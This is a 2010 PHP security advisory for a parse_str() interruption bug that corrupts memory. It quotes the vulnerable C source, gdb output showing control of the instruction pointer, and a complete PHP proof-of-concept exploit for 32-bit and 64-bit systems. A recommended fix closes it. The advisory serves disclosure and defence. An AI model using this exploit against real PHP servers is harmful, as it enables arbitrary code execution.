MOPS-2010-049: PHP parse_str() Interruption Memory Corruption Vulnerability

May 31st, 2010

PHP’s parse_str() function can be interrupted by deeply nested arrays which can lead to memory corruption and arbitrary code execution.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions.

One of the functions that is vulnerable to user space interruption even without the call time pass by reference feature is parse_str().

PHP_FUNCTION(parse_str)
{
    char *arg;
    zval *arrayArg = NULL;
    char *res = NULL;
    int arglen;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z", &arg, &arglen, &arrayArg) == FAILURE) {
        return;
    }

    res = estrndup(arg, arglen);

    if (arrayArg == NULL) {
        zval tmp;

        if (!EG(active_symbol_table)) {
            zend_rebuild_symbol_table(TSRMLS_C);
        }
        Z_ARRVAL(tmp) = EG(active_symbol_table);
        sapi_module.treat_data(PARSE_STRING, res, &tmp TSRMLS_CC);
    } else  {
        /* Clear out the array that was passed in. */
        zval_dtor(arrayArg);
        array_init(arrayArg);
       
        sapi_module.treat_data(PARSE_STRING, res, arrayArg TSRMLS_CC);
    }
}

The optional second parameter is passed by reference to the function which means it is always modifiable by any user space interruption. Such an interruption is possible since the fixes for MOPB 2007 introduced an error that is triggered by too deeply nested arrays.

if(++nest_level > PG(max_input_nesting_level)) {
    HashTable *ht;
    /* too many levels of nesting */

    if (track_vars_array) {
        ht = Z_ARRVAL_P(track_vars_array);
        zend_hash_del(ht, var, var_len + 1);
    } else if (PG(register_globals)) {
        ht = EG(active_symbol_table);
        zend_hash_del(ht, var, var_len + 1);
    }

    zval_dtor(val);

    /* do not output the error message to the screen,
     this helps us to to avoid "information disclosure" */

    if (!PG(display_errors)) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variable nesting level exceeded %ld. To increase the limit change max_input_nesting_level in php.ini.", PG(max_input_nesting_level));
    }
    efree(var_orig);
    return;
}

By changing ArrayArg into a string or int it is possible to work on fake arrays which leads to memory corruption and/or code execution.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and crash with an attempted execution at an attack supplied memory access. The gdb output looks like this.

(gdb) run parse_str_interruption.php
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/php parse_str_interruption.php
Reading symbols for shared libraries . done
TEST

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: 13 at address: 0x0000000000000000
0x000000010031c80e in _zend_hash_add_or_update ()
(gdb) x/1i $rip
0x10031c80e <_zend_hash_add_or_update+521>: callq  *%rax
(gdb) i r $rax
rax            0x4141414141414141   4702111234474983745

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly.

<?php

    ini_set("display_errors", 0);
   
    $GLOBALS['leakedArray'] = leakAnArray();
   
    echo "TEST\n";
   
    /* Setup Error Handler */
    set_error_handler("my_error");
   
    /* Trigger the Code */
    $x = "";
    parse_str("a".str_repeat("[]", 200)."=1&x=y&x=y", $x);
    restore_error_handler();

    function my_error()
    {
        headers_sent($GLOBALS['x']);
        for ($i=0; $i<strlen($GLOBALS['leakedArray']); $i++)
            $GLOBALS['x'][$i] = $GLOBALS['leakedArray'][$i];
        return 1;
    }

    /* helpers to leak a valid hashtable */

    class dummy
    {
        function __toString()
        {          
            /* now the magic */
            parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
            return "XXXXX";
        }
    }
   
    function leakAnArray()
    {
        /* Detect 32 vs 64 bit */
        $i = 0x7fffffff;
        $i++;
        if (is_float($i)) {
            $GLOBALS['var'] = str_repeat("A", 39);
        } else {
            $GLOBALS['var'] = str_repeat("A", 67);     
        }
       
        /* Trigger the Code */
        $x = http_build_query(array(1 => 1),&$GLOBALS['var'], new dummy());
        $x = substr($x, 0, strlen($x)-3);

        /* patch array */
        if (is_float($i)) {
            for ($j=0; $j<4; $j++) {
                $x[0x20 + $j] = 'A';
            }
        } else {
            for ($j=0; $j<8; $j++) {
                $x[0x38 + $j] = 'A';
            }
        }
        return $x;
    }
?>

Notes

We strongly recommend to fix this vulnerability by working on an intermediate array that is not connected to the second argument until it is filled completely.




blog comments powered by Disqus